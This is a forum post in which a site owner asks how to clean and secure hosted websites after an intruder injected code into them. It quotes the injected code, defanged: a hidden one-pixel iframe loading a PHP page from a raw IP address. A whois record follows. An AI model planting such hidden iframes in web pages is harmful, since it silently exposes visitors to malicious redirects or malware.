HACKER java script, How to remove it.......and block the hacker?

I have 30 domains hosted at godaddy, 5 operational sites, others are parked pages. A amsterdam HACKER has somehow entered my hosting account either via FTP or someother way and inserted some scripts to redirect traffic. I don't know how to get rid of this? Does anyone have a script that I can give my web design company to use to seek and remove such a hacker? Or what is teh best way to secure my account for teh future. What is the purpose of the hacker. Sorry for all this but I am not a admin/it person, can anyone help.

The following is the code – except edited slightly because my security filters have stopped this email twice now.

The code is original – with [defanged] inserted to pass filters.

< iframe src='ht[DEFANGED]tp://81.95.149.74/22/in[DEFANGED]dex.php[DEFANGED]' width='1' height='1' style='visibility: hidden[DEFANGED];'></iframe>

It is in all the website twice.
Please note that this server is no longer “listening” on any common ports, including HTTP, unless they change IP addresses.

Here’s the whois

OrgName: RIPE Network Coordination Centre
OrgID: RIPE
Address: P.O. Box 10096
City: Amsterdam
StateProv:
PostalCode: 1001EB
Country: NL

ReferralServer: whois://whois.ripe.net:43

NetRange: 81.0.0.0 - 81.255.255.255
CIDR: 81.0.0.0/8
NetName: 81-RIPE
NetHandle: NET-81-0-0-0-1
Parent:
NetType: Allocated to RIPE NCC
NameServer: NS-PRI.RIPE.NET
NameServer: NS3.NIC.FR
NameServer: SUNIC.SUNET.SE
NameServer: NS-EXT.ISC.ORG
NameServer: SEC1.APNIC.NET
NaeServer: SEC3.APNIC.NET
NameServer: TINNIE.ARIN.NET
Comment: These addresses have been further assigned to users in
Comment: the RIPE NCC region. Contact information can be found in
Comment: the RIPE database at http://www.ripe.net/whois
RegDate:
Updated: 2005-07-27

 

I'll help you. Adding you to msn